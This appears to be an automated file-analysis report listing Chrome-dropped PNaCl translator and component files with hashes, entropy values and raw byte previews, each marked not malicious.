                                                                    Size (bytes):195
                                                                    Entropy (8bit):4.682333395896383
                                                                    Encrypted:false
                                                                    SSDEEP:3:rR6TAulhFphifFJ9LAG9Xg0XTFHqS1wP/pEeSWU4pv/8F/FxLj2RF2fcTZTotL:F6VlM90ggITgS1wnuWfB0NpK4aotL
                                                                    MD5:7A8E3A0B6417948DF4D49F3915428D7A
                                                                    SHA1:4FC084AABDB13483567D5C417C7ED8FD16726A80
                                                                    SHA-256:D1AC274CF1018020F2D9635A518ED1A1F21CC2CBE9E2A4392EC792D54B5B52FE
                                                                    SHA-512:064D84A57B28C19AD10742859DA493D0826B47ADC632F6C623DFB4DE36D72A9D29BE98518061A9FFD42D99FCF01F27DE39CE74782B3A5ACBBE11DFDDEEAB59A1
                                                                    Malicious:false
                                                                    Preview:{. "manifest_version": 2,. "name": "ImprovedRecoveryComponentInner",. "version": "1.3.36.141",. "imageName": "image.squash",. "squash": true,. "fsType": "squashfs",. "isRemovable": false.}
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:ASCII text, with very long lines, with no line terminators
                                                                    Category:dropped
                                                                    Size (bytes):3034
                                                                    Entropy (8bit):5.876664552417901
                                                                    Encrypted:false
                                                                    SSDEEP:48:p/hEc9q0S+UTKYM43z8nqMsfWRUWEADM/W9n7lqFkakzcVTGkcYTPi6zM:RGcg5z/jjjHgUnV278+aWLy4
                                                                    MD5:8B6C3E16DFBF5FD1C9AC2267801DB38E
                                                                    SHA1:F5CADC5914DF858C96C189B092BC89C29407BBAA
                                                                    SHA-256:FD986A547D9585E98F451B87CA85DEB4B61EE540C6FAC678D7BEDABF04653095
                                                                    SHA-512:37048EF8FADF62A26CAEC6EE90AC192429AB1E99424E5C68FACA90C0DAD68642C761FDCAC03FC38FA930841F91FA145A6943EC7F168D4F2FA426F1F092C2F502
                                                                    Malicious:false
                                                                    Preview:[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiJfcGxhdGZvcm1fc3BlY2lmaWMveDg2XzY0L3BuYWNsX3B1YmxpY19wbmFjbF9qc29uIiwicm9vdF9oYXNoIjoiVkNUSHNJVHNUSXVncWNhV2ctWHVpTU1sdWloV1FSTE1sQnpTTGprdGhETSJ9LHsicGF0aCI6Il9wbGF0Zm9ybV9zcGVjaWZpYy94ODZfNjQvcG5hY2xfcHVibGljX3g4Nl82NF9jcnRiZWdpbl9mb3JfZWhfbyIsInJvb3RfaGFzaCI6ImxINWt2a1BvSVZZczZKVHhyOHc5Q2MxXzloVEJCX3lVSlF6VDZseVVNd0kifSx7InBhdGgiOiJfcGxhdGZvcm1fc3BlY2lmaWMveDg2XzY0L3BuYWNsX3B1YmxpY194ODZfNjRfY3J0YmVnaW5fbyIsInJvb3RfaGFzaCI6IkVuLVFQTW1HUm1xbG9Ud1gzOTAzckpsMkw0R25sQmdET1FhZlNKaHJ4Nk0ifSx7InBhdGgiOiJfcGxhdGZvcm1fc3BlY2lmaWMveDg2XzY0L3BuYWNsX3B1YmxpY194ODZfNjRfY3J0ZW5kX28iLCJyb290X2hhc2giOiJkT2lJVzRmdEdGNW9FY0k1UXYyYjBmdXNrUlYyaUVtdmxhbmV6MlpFc3VvIn0seyJwYXRoIjoiX3BsYXRmb3JtX3NwZWNpZmljL3g4Nl82NC9wbmFjbF9wdWJsaWNfeDg2XzY0X2xkX25leGUiLCJyb290X2hhc2giOiIzNEU5QU9EMmpqLWNoMzZQZ0NVV0YtMUpYWVhVdlNGY1I4bks1aWppcWNjIn0seyJwYXRoIjoiX3B
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:ASCII text
                                                                    Category:dropped
                                                                    Size (bytes):507
                                                                    Entropy (8bit):4.68252584617246
                                                                    Encrypted:false
                                                                    SSDEEP:12:TjLJ7qaVgPPd8bdzQBXefosmc5T9+n6e1Cetm1JXcAwA:TJ7jViPOd8wfHmZ6RP15
                                                                    MD5:35D5F285F255682477F4C50E93299146
                                                                    SHA1:FB58813C4D785412F05962CD379434669DE79C2B
                                                                    SHA-256:5424C7B084EC4C8BA0A9C69683E5EE88C325BA28564112CC941CD22E392D8433
                                                                    SHA-512:59DF2D5F2684FACC80C72F9C4B7E280F705776076C9D843534F772D5A3D578BEE04289AEE81320F23FB4D743F3969EDF5BA53FEBBAC8A4D27F3BC53BCF271C3E
                                                                    Malicious:false
                                                                    Preview:{. "COMMENT": [. "This file serves as a template for the resource info description used by ", . "the NaCl Chrome plugin. It is kept in the NaCl repository to prevent ", . "hard-coding of NaCl-specific information inside the Chrome repository.". ], . "abi-version": 1, . "pnacl-arch": "x86-64", . "pnacl-ld-name": "ld.nexe", . "pnacl-llc-name": "pnacl-llc.nexe", . "pnacl-sz-name": "pnacl-sz.nexe", . "pnacl-version": "5dfe030a71ca66e72c5719ef5034c2ed24706c43".}
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), not stripped
                                                                    Category:dropped
                                                                    Size (bytes):2712
                                                                    Entropy (8bit):3.4025803725190906
                                                                    Encrypted:false
                                                                    SSDEEP:48:b/5D5V5PK82aTS6aTTw0Do1DttoyDNsEA:b/hbVic1ZtLDNsE
                                                                    MD5:604FF8F351A88E7A1DBD7C836378AE86
                                                                    SHA1:9D8D89AE9F13D6306E619A4EAAD51EDE91A5F9F3
                                                                    SHA-256:947E64BE43E821562CE894F1AFCC3D09CD7FF614C107FC94250CD3EA5C943302
                                                                    SHA-512:85B1EDA4C473E00034EE627B7ABB894A77E521BC6A91A91A4A3744CA7511CB0AF10B9723D9ECC2CE3378DD70B659DF842D8C11875958CB77070CF01EC0A15840
                                                                    Malicious:false
                                                                    Preview:.ELF..............>.................................@.....@.......................................PH.......,$J.l=....J.$<A[..@.A...M..A..ffffff..................PH......,$J.l=....J.$<A[..D..A...M..A..ffffff..................PH..1..,$J.l=....J.$<A[.......A...M..A..ffffff..................PH..SP..h.........fff...................h.........fff.............J.$<[.,$J.l=....J.$<.....f.....................................................................................................................................................................................NaCl....x86-64...........zR..x......................@....C....C.........8.......@....C....C.........T.......@....C....C.........p.......`....C....C..B...... .......................<...............@.......X.......................t........................clang version 3.7.0 (https://chromium.googlesource.com/a/native_client/pnacl-clang.git ce163fdd0f16b4481e5cf77a16d45e9b4dc8300e) (https://chromium.googlesource.com/a/native_client/pna
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), not stripped
                                                                    Category:dropped
                                                                    Size (bytes):2776
                                                                    Entropy (8bit):3.5335802354066246
                                                                    Encrypted:false
                                                                    SSDEEP:48:b/5D5V5ej5ej5PjDdaTS6aTTw6DV1DtFouoyDOsTy:b/hbEEVJB1ZFhLDOsT
                                                                    MD5:88C08CD63DE9EA244F70BFC53BBCADF6
                                                                    SHA1:8F38A113A66B18BAA02E2C995099CF1145A29DAA
                                                                    SHA-256:127F903CC986466AA5A13C17DFDD37AC99762F81A794180339069F48986BC7A3
                                                                    SHA-512:78D2500493A65A23D101EC2420DC5F0CE8C75EFAC425C28547121643E4FB568E9D827EF2C0F7068159E043C86B986F29BF92C6BADC675F160B63C7B3512EB95F
                                                                    Malicious:false
                                                                    Preview:.ELF..............>.....................X...........@.....@.......................................PH.......,$J.l=....J.$<A[..@.A...M..A..ffffff..................PH......,$J.l=....J.$<A[..D..A...M..A..ffffff..................PH..1..,$J.l=....J.$<A[.......A...M..A..ffffff..................PH..,$J.l=....J.$<A[f........A...M..A..ffffff..................PH..,$J.l=....J.$<A[f........A...M..A..ffffff..................PH..SP..h.........fff.............J.$<[.,$J.l=....J.$<.....f.K...............`.......P.......................z...................................NaCl....x86-64...clang version 3.7.0 (https://chromium.googlesource.com/a/native_client/pnacl-clang.git ce163fdd0f16b4481e5cf77a16d45e9b4dc8300e) (https://chromium.googlesource.com/a/native_client/pnacl-llvm.git 7251d5b59fca15195c94a3a7da70f0081724448f)............zR..x......................@....C....C.........8.......@....C....C.........T.......@....C....C.........p.......@....C....C.................@....C....C.................@...
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), not stripped
                                                                    Category:dropped
                                                                    Size (bytes):1520
                                                                    Entropy (8bit):2.799960074375893
                                                                    Encrypted:false
                                                                    SSDEEP:12:Bvx/ekjlM/NQQmTfR9yp9396QQmTfR9C6wRqD8MTDDw7lEOkSbfuEAXwX6BX2U8b:bDjO/NbmT3296bmT3Twk8qDwh7b7CD8
                                                                    MD5:75E79F5DB777862140B04CC6861C84A7
                                                                    SHA1:4DB7BDC80206765461AC68CEC03CE28689BBEE0C
                                                                    SHA-256:74E8885B87ED185E6811C23942FD9BD1FBAC9115768849AF95A9DECF6644B2EA
                                                                    SHA-512:FE3F86E926759E71494F2060C4ED3C883EBCAF20CB129A5AD7F142766C33FAB10B5FABC3C7C938E0E895E27EA0AC03CBFE8D0EEABF5300A4AD07F67FD96CC253
                                                                    Malicious:false
                                                                    Preview:.ELF..............>.................................@.....@.........................NaCl....x86-64.......clang version 3.7.0 (https://chromium.googlesource.com/a/native_client/pnacl-clang.git ce163fdd0f16b4481e5cf77a16d45e9b4dc8300e) (https://chromium.googlesource.com/a/native_client/pnacl-llvm.git 7251d5b59fca15195c94a3a7da70f0081724448f)...text..comment..bss..group..note.GNU-stack..eh_frame..shstrtab..strtab..symtab..data..note.NaCl.ABI.x86-64.......................................................!................................................................................................................................................................................................../../../pnacl/support/crtend.c.__EH_FRAME_END__...............................................................................................@...............................................................H.......................................P.......................H...............................
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, BuildID[sha1]=7511538a3a6a0b862c772eace49075ed1bbe2377, stripped
                                                                    Category:dropped
                                                                    Size (bytes):2163864
                                                                    Entropy (8bit):6.07050487397106
                                                                    Encrypted:false
                                                                    SSDEEP:24576:HPHonIwYZJ0ykwVO7Owf31yJKzCtxO8RSV4lY+PbeHVxCtjFV4lBNeSAmfGqa+A7:HvSMRwf3SKmlY+PyPvnM2Gq+
                                                                    MD5:0BB967D2E99BE65C05A646BC67734833
                                                                    SHA1:220A41A326F85081A74C4BB7C5F4E115D1B4B960
                                                                    SHA-256:C6C2D0C2FC3E38A9BFA19C78066439C2F745393F1FD1C49C3C6777F697222C76
                                                                    SHA-512:8EF8689E00E4B210A30444D18ED6247F364995ABEB2FD272064C3AF671EEDB4D9B8B67CA56F72FEBF8F56896D4EA7EC4B10CB445FFA1C710C1F312E9DA0E4896
                                                                    Malicious:false
                                                                    Antivirus:
                                                                    • Antivirus: Metadefender, Detection: 0%, Browse
                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                    Preview:.ELF..............>..... .......@.........!.........@.8...@......................................................................................................................................................{......W...............................................@.......@...............P.td.....h.......h.......h......4b......4b..............Q.td................................................................NaCl....x86-64..............GNU.u.S.:j..,w...u...#w.......?......Y@.......@......1@......B@......P@.....@X@.....``@......h@.....pp@.....H.@.......@.......@.......@.......@.......@....`..@.......@.......A.......A......................p................@..............?.......A.........5.....?5.5...?.5.....?......P9..............PC.......?......0@................aCoc...?..`.(..?.y.P.D.?<.s..O.u......$@.......@...............@........................................ ... ....... .......@...`...`...`...`...................`...`...`...`...`...`...`...................................`...
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:current ar archive
                                                                    Category:dropped
                                                                    Size (bytes):40552
                                                                    Entropy (8bit):4.127255967843258
                                                                    Encrypted:false
                                                                    SSDEEP:768:xlP+1fzyUNVU5LmKxeOnjpD5eA/eUnUUxvT:xlP+1ryYMTekpD5eAWjuvT
                                                                    MD5:0CE951B216FCF76F754C9A845700F042
                                                                    SHA1:6F99A259C0C8DAD5AD29EE983D35B6A0835D8555
                                                                    SHA-256:7A1852EA4BB14A2A623521FA53F41F02F8BA3052046CF1AA0903CFAD0D1E1A7B
                                                                    SHA-512:7C2F9BF90EB1F43C17B4E14A077759FA9DC62A7239890975B2D6FD543B31289DC3B49AE456CA73B98DE9AC372034F340C708D23D9D3AAB05CCBDABDC56A6314E
                                                                    Malicious:false
                                                                    Preview:!<arch>./ 0 0 0 0 624 `...................,...8...Z(..e...e...t...t...y`..y`..y`..y`..y`..y`..y`..y`..y`..y`..y`..y`..y`..y`........................fmod.fmodf.memcmp.memcpy.memmove.memset.__nacl_read_tp.__pnacl_init_irt.longjmp.setjmp.__Sz_fptosi_f32_i64.__Sz_fptosi_f64_i64.__Sz_fptoui_f32_i32.__Sz_fptoui_f32_i64.__Sz_fptoui_f64_i32.__Sz_fptoui_f64_i64.__Sz_sitofp_i64_f32.__Sz_sitofp_i64_f64.__Sz_uitofp_i32_f32.__Sz_uitofp_i32_f64.__Sz_uitofp_i64_f32.__Sz_uitofp_i64_f64.nacl_tp_tdb_offset.nacl_tp_tls_offset.__Sz_bitcast_16xi1_i16.__Sz_bitcast_8xi1_i8.__Sz_bitcast_i16_16xi1.__Sz_bitcast_i8_8xi1.__Sz_fptoui_4xi32_f32.__Sz_uitofp_4xi32_4xf32..e_fmod.o/ 0 0 0 644 2792 `..ELF..............>.....................(...........@.....@.......................................PH..AVAUATSfI.~.M..I.. E....@.A......D..D1.......8fI.~.M.....I.. E..A......D..D..t.D....D..f....D..=....r...Y...^.[A\A]A^..@..,$J.l=....J.$<A[A...M..
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:current ar archive
                                                                    Category:dropped
                                                                    Size (bytes):132784
                                                                    Entropy (8bit):3.6998481247844937
                                                                    Encrypted:false
                                                                    SSDEEP:384:Hf0mOXYmeKzQUIdedRFvT5p1Ee2HyAlL3O4:Hf7OXdmWRJT5p1R2HyAhO4
                                                                    MD5:C37CA2EB468E6F05A4E37DF6E6020D0F
                                                                    SHA1:EA787E5EADFB488632EC60D8B80B555796FA9FE9
                                                                    SHA-256:C1483ED423FEE15D86E8B5D698B2CDAB89186CE7FF9C4E3D5F3F961FD80D7C6E
                                                                    SHA-512:01281DE92B281FB29E1ACA96AA64B740B65CC3A9097307827F0D8DB9E1C164C56AFCDFA0BF138EA670A596D55CE2C8D722760744E9FC9343BB6514417BF333BA
                                                                    Malicious:false
                                                                    Preview:!<arch>./ 0 0 0 0 942 `....;...|.......4...x..#...-...4l..E...M...U...]...n...u...~X...4.......................L......................t...p...............`......"...*...1...:...D...K...T...\...d...r|..|0.......x...........L.......\...8..........................__clzti2.__compilerrt_fmax.__compilerrt_fmaxf.__compilerrt_logb.__compilerrt_logbf.__ctzti2.__divdc3.__divdi3.__divmoddi4.__divmodsi4.__divsc3.__divsi3.__divti3.__fixdfdi.__fixdfsi.__fixdfti.__fixsfdi.__fixsfsi.__fixsfti.__fixunsdfdi.__fixunsdfsi.__fixunsdfti.__fixunssfdi.__fixunssfsi.__fixunssfti.__floatdidf.__floatdisf.__floatsidf.__floatsisf.__floattidf.__floattisf.__floatundidf.__floatundisf.__floatunsidf.__floatunsisf.__floatuntidf.__floatuntisf.compilerrt_abort_impl.__moddi3.__modsi3.__modti3.__muldc3.__muloti4.__mulsc3.__multi3.__popcountdi2.__popcountsi2.__popcountti2.__powidf2.__powisf2.__udivdi3.__udivmoddi4.__udivmodsi4.__udivmodti4.__udivsi3.__udivti3.__umoddi3.__umodsi3.
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:current ar archive
                                                                    Category:dropped
                                                                    Size (bytes):13514
                                                                    Entropy (8bit):3.8217211433441904
                                                                    Encrypted:false
                                                                    SSDEEP:192:uU9v4pXizdrEuxwk3vp20tprpdSGFwDqO:P9v4palvvc0tpFdSGFwmO
                                                                    MD5:4E8BEDA73EB7BD99528BF62B7835A3FA
                                                                    SHA1:DC0F263A7B2A649D11FF7B56FE9CFAC44F946036
                                                                    SHA-256:6B835FD48DF505EB336FF6518CE7B93BB0ED854DADAA5C1EEED48D420291F62C
                                                                    SHA-512:46116B8BABC719676D68FD40D2AC82F38A3D13D8A482ADFC6FC32A99170AC3420E52CC33242CCD0FA723ABF4FA5EDBB9CE16A09C729BF04AE4AFBB2F67A1E38B
                                                                    Malicious:false
                                                                    Preview:!<arch>./ 0 0 0 0 94 `................._pnacl_wrapper_start.__pnacl_real_irt_query_func.__pnacl_wrap_irt_query_func..shim_entry.o/ 0 0 0 644 7392 `..ELF..............>..................... ...........@.....@.........................NaCl....x86-64..................................A.L....A.L...D...........D....A.....t+.. u..t"..A.D..........A... .....A.D...........f..D..<.......................Q.......................V.......................clang version 3.7.0 (https://chromium.googlesource.com/a/native_client/pnacl-clang.git ce163fdd0f16b4481e5cf77a16d45e9b4dc8300e) (https://chromium.googlesource.com/a/native_client/pnacl-llvm.git 7251d5b59fca15195c94a3a7da70f0081724448f).../../ppapi/native_client/src/untrusted/pnacl_irt_shim/shim_entry.c./mnt/data/b/build/slave/sdk/build/src/out_pnacl/x64.NACL_STARTUP_FINI.NACL_STARTUP_ENVC.NACL_STARTUP_ARGC.NACL_STARTUP_ARGV.NaClStartupInfoIndex.unsigned int.size_t.char.TYPE_na
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:current ar archive
                                                                    Category:dropped
                                                                    Size (bytes):2078
                                                                    Entropy (8bit):3.21751839673526
                                                                    Encrypted:false
                                                                    SSDEEP:24:MOcpdhWE5O/bZbmT3296bmT3TwQwDnvD/+R3:MHuECdaTS6aTTwXDvD/+l
                                                                    MD5:F950F89D06C45E63CE9862BE59E937C9
                                                                    SHA1:9CFAD34139CC428CE0C07A869C15B71A9632365D
                                                                    SHA-256:945B1C8A1666CBF05E8B8941B70D9D044BAAFB59B006F728F8995072DE7C4C40
                                                                    SHA-512:F9AFBB800A875EDCC63DEA4986179E73632B3182951A99C8B3D37DB454EFD7CC7192ECA5AC87514918A858BAD6DAEAB59548CA2E90EADA9900EF5B9F08E62CFC
                                                                    Malicious:false
                                                                    Preview:!<arch>./ 0 0 0 0 30 `........._pnacl_wrapper_start..// 20 `.dummy_shim_entry.o/./0 0 0 0 644 1840 `..ELF..............>.................................@.....@.......................................PH..,$J.l=....J.$<.....f..D......................................NaCl....x86-64...clang version 3.7.0 (https://chromium.googlesource.com/a/native_client/pnacl-clang.git ce163fdd0f16b4481e5cf77a16d45e9b4dc8300e) (https://chromium.googlesource.com/a/native_client/pnacl-llvm.git 7251d5b59fca15195c94a3a7da70f0081724448f)............zR..x...................... ....C....C..... .........................rela.text..comment..bss..group..note.GNU-stack..rela.eh_frame..shstrtab..strtab..symtab..data..note.NaCl.ABI.x86-64.....................................................................................................................................................
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, BuildID[sha1]=309d6d3d463e6b1b0690f39eb226b1e4c469b2ce, stripped
                                                                    Category:dropped
                                                                    Size (bytes):14091416
                                                                    Entropy (8bit):5.928868737447095
                                                                    Encrypted:false
                                                                    SSDEEP:196608:tKVqXp3Qev4dg6ilfHM8KLM2J3jqjnkZ:uqufB
                                                                    MD5:9B159191C29E766EBBF799FA951C581B
                                                                    SHA1:D1D4BBC63AB5FC1E4A54EB7B82095A6F2CE535EE
                                                                    SHA-256:2F4A3A0730142C5EE4FA2C05D27A5DEFC18886A382D45F5DB254B61B28ED642B
                                                                    SHA-512:0B4FF60B5428F81B8B1BCF3328CF80CBD88D8CE5E8BDBC236B06D5A54E7CF26168A3ABB348D87423DA613AB3F0B4D9B37CB5180804839F1CA158EC2B315DDF00
                                                                    Malicious:false
                                                                    Preview:.ELF..............>..... .......@...................@.8...@...............$.....................................................................................................................!.......!......'......G...............................................@.......@...............P.td............................D.......D...............Q.td................................................................NaCl....x86-64..............GNU.0.m=F>k....&...i........................0C......0C..0C..0E..............0C......0E.-DT.!.?.-DT.!.........................?........-DT.!...-DT.!.?.......?......................?..............?."..."..."..."......@.......`...................... ...@...`...................... ...@...`...................... ...@...`...................... ...@...`.......................................`... ...@...`...........`...`.......@...@....... ....1..`3.. 4..`-..`-...:...:...F..@H..`H...H...F...F...G...H.. H...F..@G...I.. I..@I..@G...G...I...I...J...G..`I..
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, BuildID[sha1]=4b15de4ab227d5e46213978b8518d53c53ce1db9, stripped
                                                                    Category:dropped
                                                                    Size (bytes):1901720
                                                                    Entropy (8bit):5.955741933854651
                                                                    Encrypted:false
                                                                    SSDEEP:12288:gXqUSpBjwQO2o8k+7zjidg4euCAauOILffvCpGy4Wh3BTFmHpq82K2/KsvPyla9d:gafZwcOdNe2auOepCBTFmJq3Kf8ksr
                                                                    MD5:9DC3172630E525854B232FF71499D77C
                                                                    SHA1:0082C58EDCE3769E90DB48E7C26090CE706AD434
                                                                    SHA-256:6AA1DA6C264E0AF4E32A004F4076C7557C6AC6D9C38B0C5DE97302D83FA248C3
                                                                    SHA-512:9E9584241A39EED1463D7D4C1B26AE570B839AA315778FF3400C61341EBA43B630307DE9F1532A265CA82EA69BDEA03EC9D963E59A18569C02DA8285449870FE
                                                                    Malicious:false
                                                                    Preview:.ELF..............>..... .......@...................@.8...@.............................................................................................0.......0................................................Y......................................................@.......@...............P.td....t^......t^......t^.......W.......W..............Q.td................................................................NaCl....x86-64..............GNU.K..J.'..b......<S...`...`... ...@...@.......@.............................................Y@......................p................@.......?..............?.......A.........5.....?5.5...?.5.....?......P9..............PC.......?......0@................aCoc...?..`.(..?.y.P.D.?<.s..O.u......$@.......@...............@`...`.......@.................................................. ...`... ... .......`................... ... ...@...`.......................@... Z...[...[...e.......... ...@... ...@...`........0...0...2..`4.. 6...7...9...~...~...z...{...{..
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:ASCII text, with no line terminators
                                                                    Category:dropped
                                                                    Size (bytes):66
                                                                    Entropy (8bit):3.928261499316817
                                                                    Encrypted:false
                                                                    SSDEEP:3:STDLGswXEVBcVdBiTDt3zLsW:SPLGLErcVdBiDtf3
                                                                    MD5:C00BCE97F21B1AD61EB9B8CD001795EE
                                                                    SHA1:8E0392FF3DB267D847711C3F4E0D7468060E1535
                                                                    SHA-256:59F06F04230E32E8BC839F45B984D31D611930427B631C963D09E7064A602363
                                                                    SHA-512:9930E44A6ECC62505DBADCEED5E05645909FF09816FB12AAC0414E6D2830AC09758366C3B7D4EDD7839C87EB16DFA4C66D8981AE6237D408B37135C3506F4CD2
                                                                    Malicious:false
                                                                    Preview:1.6f6bc93dcd62dc251850d2ff458fda96083ceb7fbe8eeb11248b8485ef2aea23
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:ASCII text
                                                                    Category:dropped
                                                                    Size (bytes):573
                                                                    Entropy (8bit):4.859567579783832
                                                                    Encrypted:false
                                                                    SSDEEP:12:BLqG6yDJmL4mLDlG9hQ181G46XzrXc+EFfNqpaiOc+T5NqXIOclNqXL:BkylmL4mLDlJ18116XsRNqtZeNqXIZlE
                                                                    MD5:1863B86D0863199AFDA179482032945F
                                                                    SHA1:36F56692E12F2A1EFCA7736C236A8D776B627A86
                                                                    SHA-256:F14E451CE2314D29087B8AD0309A1C8B8E81D847175EF46271E0EB49B4F84DC5
                                                                    SHA-512:836556F3D978A89D3FC1F07FCED2732A17E314ED6A021737F087E32A69BFA46FD706EBBDFD3607FF42EDCB75DC463C29B9D9D2F122504F567BB95844F579831B
                                                                    Malicious:false
                                                                    Preview:{."update_url": "https://clients2.google.com/service/update2/crx",.. "description": "Portable Native Client Translator Multi-CRX",. "name": "PNaCl Translator Multi-CRX",. "manifest_version": 2,. "minimum_chrome_version": "30.0.0.0",. "version": "0.57.44.2492",. "platforms": [. {. "nacl_arch": "x86-32",. "sub_package_path": "_platform_specific/x86_32/". },. {. "nacl_arch": "x86-64",. "sub_package_path": "_platform_specific/x86_64/". },. {. "nacl_arch": "arm",. "sub_package_path": "_platform_specific/arm/". }. ].}.
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:very short file (no magic)
                                                                    Category:dropped
                                                                    Size (bytes):1
                                                                    Entropy (8bit):0.0
                                                                    Encrypted:false
                                                                    SSDEEP:3:L:L
                                                                    MD5:5058F1AF8388633F609CADB75A75DC9D
                                                                    SHA1:3A52CE780950D4D969792A2559CD519D7EE8C727
                                                                    SHA-256:CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
                                                                    SHA-512:0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
                                                                    Malicious:false
                                                                    Preview:.
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:Google Chrome extension, version 3
                                                                    Category:dropped
                                                                    Size (bytes):248531
                                                                    Entropy (8bit):7.963657412635355
                                                                    Encrypted:false
                                                                    SSDEEP:3072:r+nmRykNgoldZ8GjJCiUXZSk+QSVh85PxEalRVHmcld9R6yYfEp4ABUGDcaKklrv:k3oF4Z4h45P99Fld9RBQYBVcaxlnfL
                                                                    MD5:541F52E24FE1EF9F8E12377A6CCAE0C0
                                                                    SHA1:189898BB2DCAE7D5A6057BC2D98B8B450AFAEBB6
                                                                    SHA-256:81E3A4D43A73699E1B7781723F56B8717175C536685C5450122B30789464AD82
                                                                    SHA-512:D779D78A15C5EFCA51EBD6B96A7CCB6D718741BDF7D9A37F53B2EB4B98AA1A78BC4CFA57D6E763AAB97276C8F9088940AC0476690D4D46023FF4BF52F3326C88
                                                                    Malicious:false
                                                                    Preview:Cr24..............0.."0...*.H.............0...........\7c.<........Fto.8.2'5..qk...%....2...C.F.9.#..e.xQ.......[...L|....3>/....u.:T.7...(.yM...?V.<?........1.a...O?d.....A.H..'.MpB..T.m..Vn Ip..>k.|1..n.<Fb..f..*Q1.....s..2..{*.6....Pp....obM..1.......b1.......(.u^.'z......v.F.W.X4."-*eu...b.........\..F!...b...l5....zJ.q.......L].....w[T0.6....E.....r..%Z.vFm.9..5!,.~g5...;.t...']....+A.....u....k...e..&..l.6r[yU...%..f.......N..V.....<+.....l..}.{...z...)y.n..'..).....,.b....5.08K%..O.g..D.S.F5o..<(....>....\f..X..I..2."l...w....7f|.~.c.4.E.......0..0...*.H............0.......).'..b.*$w\$.q&.]zF_2..;...?.U,...W..L1.2...R..#....W.....c1k.$W..$.J....+M!.Hz.n`U.I)N.|b.l....{.K@]6.LlP/....](.A..................I...).H....IQ.y.;MG.d..ix..#f.Z$|..|.?...0K...t"i..s...Y..%.Ky....0...{.!+.~v.;....J.....Z....).(6..@?v.;~..2..c....[0Y0...*.H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. .0...|!..A..L.+.=...kP.!.1..
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:UTF-8 Unicode text, with CRLF line terminators
                                                                    Category:dropped
                                                                    Size (bytes):796
                                                                    Entropy (8bit):4.864931792423268
                                                                    Encrypted:false
                                                                    SSDEEP:12:1HEJMLkSlwZGGMLkSlwZ+WYpU34f145Gb+dgoxTyO8ZpU34f1L0frhmJ03OyZnLt:1HE7n4gn8WYpYrbhz8ZpotHOGAOf6aD
                                                                    MD5:6F8E288A9AD5B1ED8633B430E2B4D4CA
                                                                    SHA1:F671D3D4BEFA431D1946D706F4192D44E29B6F08
                                                                    SHA-256:A114E2783D0E9B12155017323BA70838F0F82A71C7EE8DC1F115AE36991241F8
                                                                    SHA-512:0F87F3F0D115B872288949E59ACD3CD41B1FBC64A622D8FDA6D71FAFC5A900D92ADFBB0E7EB926F2A8759BBAA0896D48728FB719BBF5EF54AC21027328F7700C
                                                                    Malicious:false
                                                                    Preview:{.. "app_description": {.. "message": "........ . ... ........ .. Chrome".. },.. "app_name": {.. "message": "........ . ... ........ .. Chrome".. },.. "craw_app_unavailable": {.. "message": "........... .... ...... .. .............".. },.. "craw_connect_to_network": {.. "message": "...., ........ .. . ......".. },.. "iap_unavailable": {.. "message": "........... .... ...... .. .......... ....... .. .........".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "...., ...... . Chrome.".. }..}..
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:UTF-8 Unicode text, with CRLF line terminators
                                                                    Category:dropped
                                                                    Size (bytes):675
                                                                    Entropy (8bit):4.536753193530313
                                                                    Encrypted:false
                                                                    SSDEEP:12:1HEJ0gbbGG0gbb+WYpU34g3YbiLO+dgyGFoO8ZpU34+puiPmb03OyZnLAOfTYABk:1HE5baib6WYpm31Lt0Z8Zp8pxOGAOfKD
                                                                    MD5:1FDAFC926391BD580B655FBAF46ED260
                                                                    SHA1:C95743C3F43B2B099FEBEBC5BD850F0C20E820AC
                                                                    SHA-256:C67898B67F9C9209EAFDA6532B62D5789863CFB855998DD6A70E7775316CEC20
                                                                    SHA-512:39D95D45C5746DA3BAA7AE6A3344EA17D7A7C3569C2A56959FF119261DA08C747A320FCF701AC72B8DBDBF8BF06FD8B239017A282CDDA444F3826D4EC672CBB4
                                                                    Malicious:false
